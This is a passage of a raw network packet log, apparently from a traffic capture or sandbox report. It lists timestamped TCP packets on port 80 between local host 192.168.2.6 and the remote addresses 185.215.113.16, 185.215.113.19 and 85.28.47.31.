Jul 27, 2024 03:19:24.051145077 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.051161051 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.051178932 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.051191092 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.051223040 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.051234007 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.051486969 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.051506996 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.051526070 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.051549911 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.051594973 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.051615953 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.051636934 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.051655054 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.051685095 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.051695108 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.051728964 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.051748991 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.051768064 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.051785946 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.051817894 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.051834106 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.051834106 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.051862001 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.051877975 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.051898956 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.051914930 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.051935911 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.051947117 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.051973104 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.051986933 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.052012920 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.052028894 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.052062035 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.052086115 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.052098989 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.052110910 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.052131891 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.052149057 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.052174091 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.052192926 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.052228928 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.052238941 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.052259922 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.052299976 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.052310944 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.052333117 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.052365065 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.052378893 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.052400112 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.052462101 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.052479029 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.052511930 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.052525997 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.052545071 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.052558899 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.052580118 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.052602053 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.052620888 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.052638054 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.052650928 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.052675962 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.052685976 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.052706003 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.052719116 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.052736998 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.052753925 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.052772999 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.052786112 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.052804947 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.052826881 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.052855968 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.052865982 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.052881956 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.052896023 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.052913904 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.052937031 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.052953959 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.052974939 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.052984953 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.053005934 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.053021908 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.053039074 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.053052902 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.053076982 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.053090096 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.053109884 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.053124905 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.053153992 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.102231026 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.102310896 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.102340937 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.102370024 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.102401972 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.102423906 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.102469921 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.102524042 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.102571011 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.102597952 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.102648020 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.102679968 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.102711916 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.102726936 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.102766037 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.102799892 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.102844954 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.102869987 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.102912903 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.102938890 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.102972031 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.102993965 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.103023052 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.103045940 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.103079081 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.103101969 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.103128910 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.103152990 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.103184938 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.103219986 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.103243113 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.103274107 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.103296041 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.103389025 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.103410959 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.103434086 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.103461027 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.103492975 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.103526115 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.103545904 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.103576899 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.103609085 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.103629112 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.103652954 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.103679895 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.103710890 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.103730917 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.103761911 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.103782892 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.103816032 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.103849888 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.103872061 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.103902102 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.103934050 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.103954077 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.103982925 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.104015112 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.104034901 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.104065895 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.104095936 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.104130030 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.104161978 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.104182005 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.104214907 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.104259014 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.104274035 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.104302883 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.139967918 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.140003920 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.140049934 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.140069962 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.140069962 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.140094995 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.140135050 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.140168905 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.140204906 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.140228987 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.140258074 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.140305996 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.140330076 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.140361071 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.140382051 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.140413046 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.140458107 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.140499115 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.140533924 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.140567064 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.140584946 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.140608072 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.140660048 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.140692949 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.140712976 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.140742064 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.140785933 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.140814066 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.140865088 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.140898943 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.140921116 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.140944004 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.140970945 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.141004086 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.141033888 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.141052961 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.141078949 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.141112089 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.141134977 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.141165972 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.141185045 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.141220093 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.141242981 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.141262054 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.141293049 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.141330957 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.141365051 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.141385078 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.141416073 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.141448021 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.141468048 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.141498089 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.141530991 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.141551018 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.141576052 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.141602039 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.141634941 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.141668081 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.141688108 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.141719103 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.141748905 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.141768932 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.141791105 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.141819000 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.141849995 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.141884089 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.141906023 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.141936064 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.141968966 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.141988993 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.142014027 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.142039061 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.142071962 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.142105103 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.142124891 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.142158031 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.142184973 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.142215014 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.142235994 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.142256021 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.142285109 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.142318010 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.142338991 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.142369032 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.142400980 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.142421007 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.142451048 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.142472982 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.142498016 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.142524004 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.142556906 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.142577887 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.142604113 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.142627954 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.142662048 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.142680883 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.142705917 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.142730951 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.142769098 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.142791033 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.142815113 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.142841101 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.142874956 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.142895937 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.142920971 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.142945051 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.142977953 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.142998934 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.143027067 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.143073082 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.143086910 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.143115997 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.143132925 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.143165112 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.143186092 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.143210888 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.143238068 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.143270016 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.143305063 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.143325090 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.143347979 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.143379927 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.143400908 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.143424988 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.143455029 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.143560886 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.189779997 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.189835072 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.471048117 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:24.475820065 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:25.037200928 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:25.037292004 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:25.104505062 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:25.109378099 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:25.294497967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:25.294642925 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:25.316010952 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:25.321624041 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:25.908663988 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:25.908782959 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:30.906589985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:30.907152891 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:33.129966974 CEST	49722	80	192.168.2.6	185.215.113.19
Jul 27, 2024 03:19:33.135050058 CEST	80	49722	185.215.113.19	192.168.2.6
Jul 27, 2024 03:19:33.135138988 CEST	49722	80	192.168.2.6	185.215.113.19
Jul 27, 2024 03:19:33.135438919 CEST	49722	80	192.168.2.6	185.215.113.19
Jul 27, 2024 03:19:33.140312910 CEST	80	49722	185.215.113.19	192.168.2.6
Jul 27, 2024 03:19:33.879991055 CEST	80	49722	185.215.113.19	192.168.2.6
Jul 27, 2024 03:19:33.880083084 CEST	49722	80	192.168.2.6	185.215.113.19
Jul 27, 2024 03:19:33.881469965 CEST	49722	80	192.168.2.6	185.215.113.19
Jul 27, 2024 03:19:33.886305094 CEST	80	49722	185.215.113.19	192.168.2.6
Jul 27, 2024 03:19:34.131139040 CEST	80	49722	185.215.113.19	192.168.2.6
Jul 27, 2024 03:19:34.131242990 CEST	49722	80	192.168.2.6	185.215.113.19
Jul 27, 2024 03:19:34.136099100 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:34.141303062 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:34.141892910 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:34.142024040 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:34.147125959 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:34.211891890 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:34.213016033 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:34.899339914 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:34.899394989 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:34.899421930 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:34.899481058 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:34.899548054 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:34.899764061 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:34.899768114 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:34.899796963 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:34.899812937 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:34.899832010 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:34.899838924 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:34.899864912 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:34.899883032 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:34.899904013 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:34.899912119 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:34.899935961 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:34.899951935 CEST	49723	80	192.168.2.6	185.215.113.16
